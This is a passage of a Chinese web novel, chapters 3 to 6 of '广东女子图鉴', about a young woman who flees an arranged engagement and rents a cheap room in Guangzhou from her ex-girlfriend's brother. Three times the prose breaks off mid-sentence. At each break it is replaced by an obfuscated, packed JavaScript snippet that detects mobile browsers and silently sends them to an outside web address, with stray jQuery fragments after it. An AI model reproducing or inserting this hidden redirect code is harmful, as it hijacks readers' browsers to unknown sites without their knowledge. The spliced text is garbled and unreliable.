《广东女子图鉴》
3. 紫荆花
“这间屋,租金八百,一房一厅,缺点你也看到了,白天也要开灯。”
“电费一块五一度,水费五块钱一方,网费五十块,垃圾费二十。”
“押二付一,床垫这层膜不能撕,撕了赔两百。沙发五百,窗帘两百。”
握手楼。
串串屋。
道边房。
冒充房东的中介、直租房东、转租人……
打不完的电话,见不完的陌生人……
比对价格。
比对环境。
比对装修。
都是数不尽的坑。
唯一一点值得庆幸的是,工作定下来了。
林予星坐在垃圾堆旁的亭子里,慢慢吃下买来的一块钱馒头和矿泉水。
她的行李并不多,一个行李箱,一个书包,装着她二十多年来全部家当。
这是她到广城的第五天,单方面拒绝父母亲戚的电话,微信也没有再用。换句话说,这也是她跟家里断绝联系的第五天,住在三十块钱一晚青旅的第五天。
简历雪花般投出去,大多遭到拒绝。
这行业应届毕业生没什么价值,他们要的是七天就能上手的。
读完珠宝专业后林予星便因为母亲与继父结婚的事回了家,在这行经验为零,只能从实习生做起。
她想起面试那家工作室时那白胖高男人,看着她的简历很和善的样子,笑眯眯地报出给她的条件:“工资八百,交通补贴两百,固定周日休。我看简历说,你有美术基础,高中读美术的啊。那就更应该来我们这了,货多又杂,我们还有个高级珠宝总监,可以带着你走得更远。”
林予星打开手机,看了看支付宝里的存款。
工作半年,省吃俭用存下来五千块,可以撑过这段实习期。
但是……
实习期多长?
白胖高男人没说。
这就意味着她随时可能因为不合适走人。
她需要短时间内为公司创造价值,至少要对得起给她开的一千块工资。
由于工作室不包吃住,她不可能总住在男女混住的青旅,不安全。
那就只能租房。
可是距离公司近的房子都要一千来块,预算是五百块单间的话,就只能是距离公司七个站外的地方。
林予星想了许多,咽下最后一口馒头后定定望着远处驶来的垃圾车,她识相地提起包和行李走开。
“靓女,租房吗?”路边有开着电动车的大叔叼着烟问她,面相看起来不太好。
她警惕地摇头拒绝。
好在男人没有强求的意思,骑着电动车离开。
看了一上午房子依旧无果。
她累了,慢慢走去地铁站,往下一站、下下一站,扎进那狭小潮湿,抬头只能望见细细长长被黑色电线分割成长短不一色块,低头是堆放满垃圾,蟑螂遍地走的小巷子。
要是运气好,说不准能遇到跟兔子似的大老鼠,睁着圆溜溜的眼睛躲在暗处,等人走过时突然窜出,钻入下水道。
好在林予星近视,看不大清楚。她揉了揉肩,两边肩膀被书包勒地生疼,连骨头都似乎陷下去几分。
正在赶往地铁站途中,她的手机忽然在外套袋子里震动。
林予星愣住。
知道她这个号的人并不多,这个时候打给她的能有谁?
她三个密友都顾着各自生活,父母都在忙自己的家庭,六亲冷淡,除了电销,实在找不出第二个人。
看号码,还是国外的。
林予星想都没想,直接挂断。
对方锲而不舍打进来,再打再挂,重复三次后林予星把它拉进黑名单,总算消停了。
直到林予星切换到微信,看到陌生的头像打来语音通话,她总算想起,这时候可能打给自己电话的人里有谁。
她的前女友。
黎欣。
二人在高中谈上,坚持到大二和平分手,各奔前程。
林予星想了想,挂断电话,发过去一个问号:[?]
好的前任应该和死的一样,她做到了。
尤其是林予星看到黎欣放出的结婚照时,她知道,她们之间彻底结束,再也没有任何可能。
黎欣见她回应,也不说其他,只给她发了个招租链接,并留言:[我听说了你和罗森的事,去这个地方租房,不会被坑。]
[林予星:哪个大嘴巴告诉你的?]
[黎欣:他发朋友圈小作文,正好被人截图给我看了。]
[黎欣:我知道你要强,你也不用想太多,就当是我日行一善。]
[林予星:什么小作文?]
山城就那么点大,罗森父母做老师的,圈子小多少能听到风声。小地方又容易传出八卦。他求婚时弄得轰轰烈烈,才几天过去,到手的未婚妻就飞了,总会有闲言碎语传出。
[黎欣:(无语.jpg)你把他拉黑了?]
[林予星:不然呢?]
[黎欣:算了,等会再给你看,你先去我说的地方租房吧。放心,不要你腰子。]
林予星戒心重,认识她的人或多或少都能感觉到。
黎欣了解她,用玩笑口吻化解林予星心中疑虑。
身后电动车“哔哔”两声赶人,林予星连忙让开一条道,拖着行李箱走去榄仁树下点开链接。
春日多雨,才停不久又下起细细密密的雨丝。
透明水珠落在贴了防窥膜的手机屏幕上,仿佛掉了满屏稀碎的饼干屑,映着天光,亮晶晶的像糖霜。
人行道上停满电动车,时不时传来喇叭声,往来行人撑着伞或是戴帽子面无表情走过,趿拉着的黑色人字拖有些质量不大好,每走一步就会发出挤压空气的动静,直到走远才被马路上急行过的车声遮盖。
这地方网络不大好,链接刚显示一半,10086发来短信提示流量不足。
林予星愣了愣,抬头恰好望见对面凉茶中药店墙壁上贴着一张泛黄白纸。她眯眼去看,发现上面写了Wifi名称和密码。
趁着老板在打游戏,她急忙关闭数据流量,找到这家店铺名称,输入八个八密码。
显示连上的瞬间,链接被完全打开。
[小区公寓招租:单间500-1000,一房一厅1000-1800。]
底下还有其他户型,林予星没有再继续往下划,她倒回去看了看单间,除了有些旧以外,其他都还好。
还是黎欣介绍的……
林予星想了想,这女人跟自己谈恋爱时不靠谱,但到底是和平分手,又听说了自己和罗森的事,总不至于落井下石。
她复制上面的手机号,拨打过去。
前一次没有接,等打到第二次,对方才接起来。
那头声音惫懒,透着几分漫不经心,用粤语开场:“边个?”
“我系雷家姐介绍嘅,想租房,单间仲有无?”她粤语不太熟练,九声六调转折处略显生硬。
对方明显听出她粤语不大好,自动换上了普通话:“嗯,还有,预算多少?”
很难得,他说话并不带口音,却带着本地特有的慵懒湿凉。
林予星忙回答:“最低的。”
“还有一间,在三楼,你过来看看吧。”
“好。”林予星看了看链接上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362962|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显示的地铁站,距离她所在的地方有三个站,忙说,“我半个小时后到。”
“嗯,你到了再给我打电话。”他说完这一句便挂断了。
林予星本想回应一声以示礼貌,现在却卡在喉咙里。
她默默查好转车方向和具体地址截图保存,拖着行李箱继续上路。
阴雨绵绵的雨丝濡湿红色地砖,深深浅浅,像画纸上没调匀的颜料。年深日久,有些砖块已经松动,积蓄的肮脏雨水潜伏在地下,只等来人经过便从地底窜起,偷袭每双路过的鞋。
红绿灯等了许久才跳动转换,送外卖的电动车肆无忌惮穿行在人群中,不耐烦地朝她们按喇叭。
等过了马路,将行李和背包放进传送带,拿出交通卡滴卡进闸。
下雨天坐地铁的人明显多了许多,保洁阿姨拿着大拖把到处吸水。
距离下一趟车只有一分钟。
林予星选了个人少的站门外排队,她看了看地铁图,确认自己没坐错方向后放下心来,耐心等待。
黑黢黢的地铁通道对面贴着广告牌,不是奶粉就是美容医院。
不等她看清广告词,地铁即将到站提示音响起。
行驶而来的轰鸣声从隧道传出,前车灯亮得恍如流星划过,载满众生慢慢停下。
车门打开的那刻,身后压力传来。
林予星不得不跟随人群挤入,像人潮中即将淹没的小舟,被带着卷着涌入车厢。
车门关上发动,尖锐刺耳的噪音扎入耳中,让人很不舒服。
好不容易抵达落车点,想出去也是下了番功夫。
她循着地图出站,步行十分钟抵达目的地。
竟是个老小区,进出还要刷卡。
林予星再次拿起手机,给对方打电话。
“嗯,督卒。阿叔,帮我顶下。”对方正在下象棋,听到她说已经到了,棋子碰撞声便也远了不少。
林予星放下手机,站在小区外往里望。
白发苍苍的保安坐在亭子里,正抱着保温杯看她,神情淡淡的。
在他面前,红色收音机里正播放粤剧《铡包勉》,声音尖利。
微风吹过,她闻到风中带来了股清冽花香,这才注意到远处有棵粉紫色紫荆树,花开满树,笼罩在雨雾中,模模糊糊间有个身影朝自己走来。
高高瘦瘦,皮肤白嫩。
再近些,留着短碎发,眉眼精致,轮廓清晰,整个人透着股淡漠的慵懒感。
他穿着浅蓝色衬衫,内搭白衣白裤,如果左腿没有缠着绷带,穿着白色拖鞋的话,或许帅哥的氛围感会更足些。
林予星瞥了眼,收回目光。
谁知对方看到她后顿了顿,慢吞吞的脚步立刻加快几分。
门口保安认识他,不等他说话便迅速放行。
林予星没有在意,直至他走到自己面前距离半米处,她才重新把视线放到他脸上。
与黎欣有几分相似的面容挂起愕然,片刻后他点点头,礼貌道:“林予星。”
林予星狐疑看他的脸,盯着想了半天,总算从脑子里搜出一个陌生的名字:“黎……年?”
“少了一个字。”他提醒。
林予星实在想不起来,乱报一气只会显得不尊重,她干脆坦白:“忘了。”
早就知道她会忘……
他叹口气:“黎嘉年。你呢,我该叫你什么?”
“叫姐。”林予星镇定道。
黎嘉年望着她,目光透出些许复杂神色。
多年重逢,他实在喊不出那句“姐”。
正如他当年,黎欣将她带回家见父母时,他喊不出一句礼貌称呼。
4.隆江猪脚饭
两人进了老旧小区,正好是回南天加上正好下雨,水泥路被淋地像张被黑色颜料浸满的纸,天光落下,较干的路上还能看出些微干燥白光,深水处飘满落叶碎花,晃着脏兮兮的尘埃沙粒。
林予星跟在黎嘉年身后,目光从他细碎的发尾到干净的脖颈,宽阔的双肩,因腿伤微弯的脊背,再到宽松长裤下的双腿,定格在白色绷带上。
她终于忍不住问:"你腿怎么回事?"
"养了条烂狗。"
林予星不明所以,却没有说话。
他似也察觉这个回答牛头不对马嘴,接着说:"上上个月去滑雪,我把我的狗也带过去滑雪场了,它本来在暖屋里呆的好好的,脑子一抽冲出来,我为了不撞到它,骨折了。"
明知道别人在说这种惨事的时候不该笑,林予星却忍不住嘴角上扬许些,而后狠狠压下,装着正常人听到这则消息时的担心,多问了句:"啊?那你现在恢复的怎么样?"
正常人是该这么回答吧?
她情商低,共情能力不足,只能这么回着。
黎嘉年看她一眼,也不说话,指了指面前老楼最左侧的位置。
这座楼屋确实很老了,怕是有十几年历史。暖米灰色斑驳墙面脱落,露出底部水泥灰。年深日久,还残余着当年修补过的痕迹,却也抵不过广东潮湿和日照氧化,变成带了灰调的黄。
坑坑洼洼,如同夹心威化饼,光是撕开包装的震动,就能带下无数碎屑,露出内里多层颜色。
在这栋楼旁边,木棉花开得正旺。
她在树下往上看时,深色枝桠将灰蒙蒙的天空分割成带着冰裂纹似的瓷片,点缀的红色花瓣如同秋日的柿子,在视线中越来越大,越来越大……
"啪嗒"一声,溅落水中,砸出点滴碎水珠。
金属声叮叮当当响起,银灰色钥匙串敲击的动静从坠落的木棉花旁响到楼脚下。
"我就不陪你上去了,要不要租看你。"黎嘉年随手把那串跟丑橘一样大小的钥匙递给她,又抬手看了看腕表,"快到中午,等会一起吃个饭。"
林予星问:"没看中也一起吃吗?"
“没看中这我带你去别的地方。”黎嘉年随意笑笑,“总之,你的房租我收定了。”
“五百块的生意你也非拿下不可?”
“嗯,是钱不论大小。”
林予星当然知道他在开玩笑,估计是黎欣跟他交代过什么,所以才会这么跟她说。
她信任的人很少,除了三个从初中就认识的朋友外,唯一信任的就是她前女友黎欣。对于黎嘉年,她其实不太熟悉,但不妨碍刚见面就对他生出几分亲切感。
实在是两姐弟长得有三四分相像,黎欣偏英气干练些,而黎嘉年多了几分精致温和,唇红齿白的,有点像某个早年混血港星。
当林予星拿着钥匙站在红褐色大门前,终于想起是哪个港星。
但她记性实在不怎么好,忘记名字,只记得那名港星诸多情史,又酷爱给女友买完裙子后搞车.震,被港媒讽刺是花裙收割鸡。
她将手中用棉布胶带裹着房号的钥匙塞进锁洞,试着往左边拧了拧,结果又加了道锁。见开不了门,她又往顺时针方向拧动两圈,这次总算开了。
深棕红色门徐徐打开,迎面而来的是带着潮气的大风。
空气还算干净,没有霉味,里面传出了些轰隆隆的动静。
单间一览无遗。
挨着门的是厨房和洗手间,往里看去,是一张床,床垫很新,没有奇怪的霉菌和脏污。靠近床边,是茶几和沙发,都收拾地很干净。
让林予星意外的是,这处单间有个小阳台,前任房客留下的红色晾衣杆静静支在角落。在洗衣机上,甚至还有几个塑料皮破裂的衣架,里面铁丝已经生锈,却是在铁钩处,并不影响使用。
林予星到处张望,终于找到刚刚进门前听到异响来自哪。
茶几下,有个老式除湿机在努力工作,可落地窗大开着,怎么除湿都没有用。
她想了想,关掉了电源,等下去时和黎嘉年说一说。
这处单间她是满意的,这几天到处看房,她知道自己预算低,想找个靠近实习公司的地方没有一千块是痴心妄想。
这里离地铁步行十五分钟不远不近。是老小区有保安,还算安全有保障。租金便宜,有小阳台,房东又是黎欣弟弟。综合考虑下来,性价比很高。
等会问问水电费网费之类的费用吧。
林予星想好后拿着钥匙下楼。
猪肝红色地砖在转角平台上垫了不穿的衣服,不锈钢扶梯残余湿漉水气。
她一路往下,看到了二楼正在打扫的身影。
头发花白的阿姨看到她,操着带客家口音的普通话问:“靓妹,刚刚来的?”
林予星点头:“嗯,来看房。黎嘉年腿受伤了,让我自己上来看。”
阿姨并未多问,点头客套了句:“好,感觉不错就租下来,嘉年好好说话的。”
林予星点点头,跨过阿姨刚拖干的地方,继续往楼下走去。
老楼外不知道什么知道又飘起零星小雨,细细密密如同银针,落在地上,溅起片片涟漪。
林予星本来是盯着外边湿漉漉的水泥地,越靠近楼梯口,视线便越往上,她终于看清那块糊在屋檐下的半圆是什么东西。
是个黄泥色空了的燕子窝。
滴落的鸟粪在地上留下几点白,是清扫不干净的鸟粪痕迹。
黎嘉年坐在不远处长椅上,看到她下来,又跟手机对面说了几句后挂断电话,一瘸一拐朝她走来。
他主动询问:“再带你去看看别的吗?”
林予星开门见山:“不用,这里水电费,还有那些杂费那些怎么算?”
黎嘉年回答地很快:“押一付一。水电按民用,水费1.5一吨,电费五毛一度,我会给你户号进行线上缴费。垃圾费十块钱一个月,宽带二十。还有什么疑问吗?”
“这么便宜?你家开善堂?”林予星皱眉,“黎欣让你特意给我打折?”
“统一收费。你决定好了我拉你进群,可以问问其他租客我有没有便宜给你,当然,你要是嫌便宜,我这有贵的。”
说完,黎嘉年调出复式公寓楼报价,将屏幕放到她面前。
“不用了不用了。”林予星忙拒绝,“就这间吧,不过我工作不太稳定,能租半年吗?”
她甚至想试着问能不能短租三个月,实在是她刚出来打工没钱没底气。
“嗯,可以,你要是有困难,租三个月也行。”黎嘉年看出她手头有些窘迫,在别的女孩每年换新衣服时,林予星却还在穿着几年前他曾见过的薄外套,甚至牛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15369426|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仔裤都洗得发白。
她已经穷到连买衣服的钱都没有了。
黎嘉年抿唇,看到她脚上的帆布鞋因连日奔波沾上脏污,多问了句:"你现在找到工作了吗?要不要我给你介绍?"
林予星摇摇头:"不用,我找到了,那现在签合同还是什么?"
"你能住到三个月后再签吧,我懒得上楼拿了。"黎嘉年摘下钥匙串中其中一小串递给她,"走吧,去吃饭。"
不签合同?
林予星愣住,听懂了他话里的意思。
这是要短租给她。
三个月住不满也可以。
不知怎的,自尊心在此刻莫名作祟,林予星看着他,小声说:"我有积蓄……"
"嗯,加个微信,我扫你,按时交房租就行,押金我不收你的,但你别跟别人说。"黎嘉年只想把这话题岔过去,"没有特意对你优惠,有时遇到刚毕业或是重新开始生活的我都会这么做。"
真的假的?
林予星心内存疑,默默打开名片让他扫。
人在落魄时是不能讲尊严的。
不论他有没有说谎,她也会感激地接下这份雪中送炭。
"嘀——"
添加成功。
[您已和JN成为了好友。]
点开他头像一看,林予星明白了他骨折的原因。
"你养的比格?"
"嗯,同事离职把实验犬送我了。"
林予星忍不住笑:"他现在还有跟你联系吗?"
黎嘉年面无表情:"他送完狗就把我拉黑了。"
林予星终于忍不住在他面前笑出声。
她肤色白,长长的及腰发落下,笑起来漂亮的像株洋桔梗,柔软而灿烂。
黎嘉年收回目光,无奈道:"笑够了就走吧,中午了,我带你去附近吃饭。"
林予星点点头,上楼先暂时把背包放下,再下来时,她手里只拿了一把印花都模糊了的旧雨伞。
伞杆略微生锈,却挺大的,正好遮挡住两个人。
绵绵细雨下大了些,落在行人干燥头发上的细茸不多时就变成油亮,像融化的棉花糖从头浇淋至鞋。
他说的“附近”就真的是“附近”。
两人慢慢悠悠出了小区,走不到五分钟,拐角就有家苍蝇小馆。
大红色招牌上写着五个白色大字:隆江猪脚饭。
“吃不吃?”黎嘉年低头问她。
林予星答应得爽快,直接点餐:“老板,一份猪脚饭。”
“好,里面坐。”老板点头,转而用粤语问黎嘉年,“靓仔房东,食咩啊?”
“老样子。”
“欧克啦。”
林予星催黎嘉年进去找位置,收起伞问老板:“一共多少钱?”
正值中午休息,里面挤满附近工作的人。
黎嘉年忍着腿疼,硬是上了较为空荡的二楼。
等林予星付完钱往里面走,找了一圈才在楼梯口看到他艰难爬行的背影,她连忙走上去扶他。结果回南天楼梯太滑,一不小心踩到满是水痕的瓷砖。
“啪!”
黎嘉年感觉自己屁股疼了下,顿时直起身子,愣愣回头。
林予星稳住身形那刻也惊呆了。
两人目光同时看向那只按在休闲裤上的手。
5.忆子粄
[不小心打了房东屁股怎么办?]
不对不对……
[打了房东屁股该怎么道歉?]
不是,这件事纯属意外,问的好像是她故意那样。
[不小心打了房东屁股,该怎么赔礼?]
要不要加个前提,是脚滑了?
林予星窝在出租屋里内耗半小时,行李都还没有整理,急慌慌在网上搜索怎么补救。
她跟黎欣熟,从内到外都熟。
但跟黎嘉年是半点不熟啊!
万一他跟黎欣告状,她的形象……
黎欣肯定会想,噢,你跟我分手之后过得这么样衰,还打我弟的主意。
“靠。”林予星骂了句脏话。
手机屏幕进度条总算到达百分百,弹出页面。
[殴打他人屁股需要根据伤情损失和双方协商结果进行赔偿……]
[根据受害人受伤情况裁定赔偿结果,包括医疗费,精神损失费……]
“哒哒。”
身后敲门声响起。
林予星没注意,专心致志盯着手机内容。
那身浅色身影就站在门外,投下的影子拉得很长。
他没有贸然进去,看了眼角落已经停止工作的老式除湿机放下大半心。
里面还在进行独角戏。
“对不起?不小心打了你屁股?”搜索搜不到重点,林予星决定发挥自己为数不多的沟通技巧进行演练,“不对,太直白了。委婉点买水果上门?hey bro,上次打了你屁股你不会介意吧~嘶……这种事怎么没人教教要怎么做?”
黎嘉年在店内压抑着的羞涩在此刻得到缓解。
在猪脚饭那两人都装得若无其事,他还以为她不在意,原来私底下不止他一个人内耗。
但……
林予星性格是这样的吗?
外表温柔小白花,私底下却有股古灵精怪的感觉。
黎欣和她谈恋爱时,每次都说林予星很有趣。惹毛时更有趣,你都想象不到,她骂人的词汇量有多少。
家姐说这些话时眼睛亮亮的,如果她不出国读书,两人不会分手。
可如果不分手,他怎么办呢?
黎嘉年倚在门边,再度叩响猪肝红色门。
“哒哒。”
“林予星。”
这次,她总算注意到门边有人。
林予星下意识关了手机屏幕,镇定自若地起身,镇定自若地走到他面前,镇定自若地问:“你好,有事吗?”
黎嘉年注意到她走路姿势有些不对,跟人机似的,又不大好问,只点了点头说:“给你电梯卡。”
“这层楼,没装电梯吧?”林予星疑惑。
“我住你对面。有空帮我遛个狗。”他见林予星微微拧眉,及时加了句,“一次两百,不勉强。当是你打我屁股的赔偿。”
“……”
“除湿机不用就放底下一楼杂物间,刚刚带你去的隆江猪脚饭往前走有商场药店和菜市场。”
林予星注意力却还在上一句话:“……两百块不用了,我帮你遛。”
“你确定?”黎嘉年笑笑,“比格,没了脾脏也是比格。你到时候可能会哭着跟我要钱。我先给了,很懂事吧?”
“非常懂事。”她没养过,但知道这种犬类网上专门建有受害者联盟。
单看黎嘉年被弄得骨折也能感受到那只狗有多闹腾。
看她接下电梯卡,黎嘉年挥挥手:“走了。”
他说话懒懒散散的,尾调温柔。
转身时,浅蓝色衬衫微微透光,像夏日晾晒过的蓝,带着湿润的清茶香。
林予星脑子一抽:"要我扶你下楼吗?"
"你还想再打我一下?"黎嘉年站在楼梯口,回头看她,开玩笑道,"下次吧。有事微信联系。"
说完,他踩下阶梯,身形隐没在泛黄墙壁另一边。
林予星不太放心,站在楼梯口俯视下方,大块朱红瓷砖铺垫出基础色调,铁灰色不锈钢扶手以层叠弯曲的方形螺旋向下,框出一小片深灰色的水泥。
他的手犹如时钟上的分钟,修长匀称,青筋微浮,在这片螺旋中顺时针转动,直至消失在出口处。
微风吹来,带着股陈旧的潮气。
屋檐积蓄的水珠时不时滴落,恍若坠下的星光。
林予星站在走廊上,确认他平安走回去后收回目光,进了出租屋。
朱红木门关闭时,楼下黎嘉年回头看了看。
她现在就住在那,要是工作稳定,她会一直住吧?
这个问题不过在脑海中划过一瞬,他就收回目光,慢悠悠走回家中。
刚走到楼下,一只垂耳黄白色狗头从栏杆缝隙处挤出。
打扫卫生的阿姨想把它往回赶,发现它卡在石栏间不知后退,唉声叹气说房东养了只傻的。
它看到楼下的黎嘉年,兴奋地摇尾巴,恨不得从楼上一跃而下。
狗叫声响起,穿透力极强,堪比唢呐,响彻整个小区。
住在这的人见惯不怪,权当做没听到。
相隔一条路的林予星却好奇地掀开窗帘往外看了看,恰好看到那条比格被人拽回屋中,还傻乎乎地吐着舌头。
两百遛狗一次……
可能真不多……
林予星看了看手里的电梯卡,放在入屋时的架子上。
前任租客把这打扫的很干净,还留了基本生活用具,随意打扫一番就可以入住。
她打开沉重的背包,将里面的东西拿出,揣上橙色地铁卡回青年公寓拿行李箱。
一来一回。
又去买了生活用品。
洗沐二合一、卫生纸、挂钩、水杯等等都选了最便宜的。
她已经不在乎它们好不好用,好不好看,现在生存才是最重要的。
没有能托底的家人,从不联系的亲戚,和她差不多境遇的朋友。
她只有自己,只剩自己。
洗洗涮涮,排列分类。
等到收拾地能住人时天色已经暗下。
干净的单间内还残余着淡淡的洗衣粉味,未干的地板散发着潮气。
天气预报说回南天还未过去,未来三天都有雨,除湿机开足马力工作,不多会已经蓄出一小片水。
浴室门打开,涌出大片水雾。
林予星从里面走出,朦胧间依稀看到昏暗中也依旧白皙的皮肤,像山林起雾中唯一的的白杨树,身形清瘦挺直。
她穿着背心短裤,毛巾裹起长发,踩着拖鞋走出。
厨房与浴室一体,残留的水踩在深蓝地垫上,留下一道足印。
吹风机开到最大档,她打开手机,按入第二张SIM卡。
耳边吹风机的风声和浴室洗衣机嗡嗡作响的动静都盖不过手机震动。
网络刚接通,大堆未接电话和信息涌入,手机甚至卡在母亲打开的四十多通电话界面上不动,过了快五分钟,手机屏幕暗下,映出林予星的脸。
发梢水珠下雨似的装点在黑屏上,像颗颗干瘪的玻璃珠。
她缓了缓,将头发吹得半干半湿后才再次摁开手机。
点开未接来电,先是母亲,然后是她那三个朋友,罗森,还有些重复拨打的陌生电话。
她切了微信号去看,又是卡了快五分钟。
一路上升的数字,让她心跳加快,跳跃的信息栏映入眼中,成了冷冰冰的文字。
最后定格在最上面两条信息。
纤细长指划动屏幕。
[罗森:像你这种婊子,不配做我罗家的人。我父母好声好气跟你说话,彩礼三金都商量着来你还想怎么样?原以为你是那种不物质的女孩,一到这时就暴露真面目了。真看错你了,捞女。给你发了清单,别给我装死,还钱。]
林予星打开那张图看了看。
大到约会去博物馆,小到……
嗯?戒指使用费?
她笑得不行,点击保存后,发了条语音给罗森。
"那你去告我吧~"
语气要多欠揍就有多欠揍。
然后大号也同样拉进黑名单。
接下来就是自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442494|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母亲。
林予星对她感情很复杂,父母在自己三岁不到时离异,只因自己是个女孩。
两家说法不一。
父亲说母亲脾气差,固执又偏激,重男轻女差点把自己打了。
母亲说父亲一家都对自己不好,坐月子时把要给她喝的补汤,冬日要穿的毛绒袜都给了父亲姐姐的孩子,重男轻女所以离婚。
双方都在指责对方重男轻女,嘴上说着生男生女都一样,真到了二胎又暴露了自己的真实想法。
去港城验血三千,能知性别,对广东要生男孩的人来说是极大的诱惑。
甚至随意刷个社交媒介,去个公厕都能看到这类广告。
他们像蝗虫一样渗入这片土地,心安理得赚着这些钱。
大批中介将一管管血送入医院检测,哪怕明面上说着不能告知检测结果,私底下这么做的比比皆是。
自己父母也是这批老封建,林予星光是想想就觉得无力。
果然,打开母亲的消息栏,随意点开一条六十秒语音,那股被血液浸透的窒息感便铺天盖地袭来。
[那么好的人家,父母做老师的,罗森对你不错吧?你怎么这么不识好歹!]
[三金彩礼都备齐了,人家酒店都订好,你说结就不结?还跑了?]
[你都这么大年纪,再多两年就是老姑婆没人娶了!真真系孤寒相,对你好不就行了吗!哪那么多事!]
母亲像是拿着根血淋淋的脐带,勒在她脖颈上,企图把她变成和她一样的人。
在母亲身后,外婆,外曾祖母,一代又一代,被规训进贤妻良母的模板里。
她们身后站着的男人,挂着既得利益者的可笑嘴脸,怂恿离间她们之间的亲情链接,将她们割裂进不同的家庭,成为男人背后的"女人"。
可那真是"女人"吗?
林予星感觉不是,那是免费的全能佣人。
她们在这种压迫下,已经丧失挣扎的勇气。
可她不愿意再过这种生活。
语音点开。
林予星深呼吸了一口气。
"妈,以后有事没事,尽量不要联系了。"
就当没她这个女儿。
这是在她二十多岁的人生里,第一次试图剪断精神脐带。
切号的一瞬间,手机震动。
却不是母亲,而是黎嘉年。
[JN:去不去吃附近客家人开的小吃店?我听说他们那的忆子粄还挺好吃。]
他怎么老跟自己约饭?
林予星刚要拒绝,对面发来一笔转账。
是中午的猪脚饭饭钱,备注AA。
[JN:不愿意就算了,我去租客群里找个饭搭子。]
林予星:"……"
早说是要饭搭子啊,她还以为他对她有意思呢。
[X:走,等我换件衣服。]
刚发送过去,新加的租客群弹出一条信息。
[JN:@全体人员,诚邀饭搭子一名,客家小吃店。]
林予星点进去看时,对方已经撤回。
[JN:小区门口。]
林予星发了个OK的手势,换了身外出的常服匆匆出门。
她刚走出没多久,就看到个大腹便便的孕妇提着塑料袋上楼,她男人走在她前面,叼着烟,没有一点帮忙的意思。
三人迎面撞上,男人浑浊的眼被点亮,令人不适的目光停在林予星身上,又看了看楼层,回身主动帮自己老婆提袋子,实则眼睛一直盯在林予星身上。
"喂。"孕妇不满地推了推男人,小声说,"走啊,看人家做什么?"
男人嘴硬:"我哪里看了!一个陌生人突然住进来你不看?"
林予星瞪他一眼,骂了声死扑街后匆匆下楼。
外面路上湿漉漉的。
昏黄路灯下,紫荆花落了一地。
黎嘉年一瘸一拐地从对面电梯出来,看到她冷脸,不由去看她背后。
已在这边租住许久的男租客在高处走廊往下看,视线直直盯着林予星。
6.肉蛋肠粉
[JN:下个月去我楼上住吧,也是单间,价格和你现在住的一样。]
[X:?]
那边很久都没有回复。
林予星猜测黎嘉年应该是去吃早餐了。
她坐地铁来到实习的珠宝工作室,十点上班的地方,她早来半小时,结果门还没开。
初夏的广东未到中午就开始有些热,有种闷湿的潮。
林予星怕突然降温,还穿了件衬衫外套,此刻只能脱下,随手系在腰上。
她闲着无聊,抬头往天上望去,今日仍是阴天,天空灰蒙蒙的,仿佛落尘的棉花,朵朵簇簇,不同程度的灰填满视线所及的地方。单看天色或许会下雨,出门时天气预报却只显示多云。
突然间有麻雀三五成群掠过,钻进墙体缝隙后消失不见。
林予星呆呆地看了会,见实在没什么好看的,这才低下头,再次观察起周围环境。
她前几天来这面试时没认真看过,只是拿着简历广撒鱼网,谁家要就去谁家,不然她那点贫薄积蓄撑不了多久。
目光先是落在那块陈旧的白底藏蓝色字体招牌上,只见这家叫普兰顿的珠宝工作室位于商场外围的角落,在巷子里头,对面只有脏兮兮的墙,被人用喷漆画了汽车墙绘,隔壁看着是家做外卖的。
再往远处看过去,尽头已被小路截断。
脱漆生锈的暗棕色铁栅栏根根立着,有爬藤从底下长形水泥槽里装着的红土中冒出,病恹恹地搭在铁栏上,开出零星几朵粉白三角梅。
透过营养不良的绿叶,她隔着栅栏,看到了小路对面的肠粉店。
算算时间,也来得及。
林予星便从外卖店旁的小路走过去,要了份循规蹈矩的肉蛋肠。
店内已经没有空座,她等了好半天才轮到个座位坐下,手机这时震动。
[JN:我姐说你不喜欢吵闹,你楼上那家人预产期月底,你要是受得了就继续住。(狗狗伸懒腰.jpg)]
[X:我先考虑下小孩吵还是比格吵。]
[JN:我家狗一天遛八回,早累瘫了。它吵还能戴嘴套,你能给小孩戴嘴套?]
在这二胎起步的地方,林予星要敢投诉就等着被唾沫淹死。
到时候被骂内容包含但不限于以下几条。
“你以后没有自己的孩子吗?做人这么恶毒,小心报应到你小孩身上。”
“等你做母亲就知道了,给自己留点余地吧。”
“小孩不懂事,你一个大人斤斤计较些什么?”
……
可她真不准备要小孩,也不准备结婚。
这些人设立的前提都是默认自己会要小孩,所以要无限包容孩子,更要包容孩子父母,进而包容他们一家。
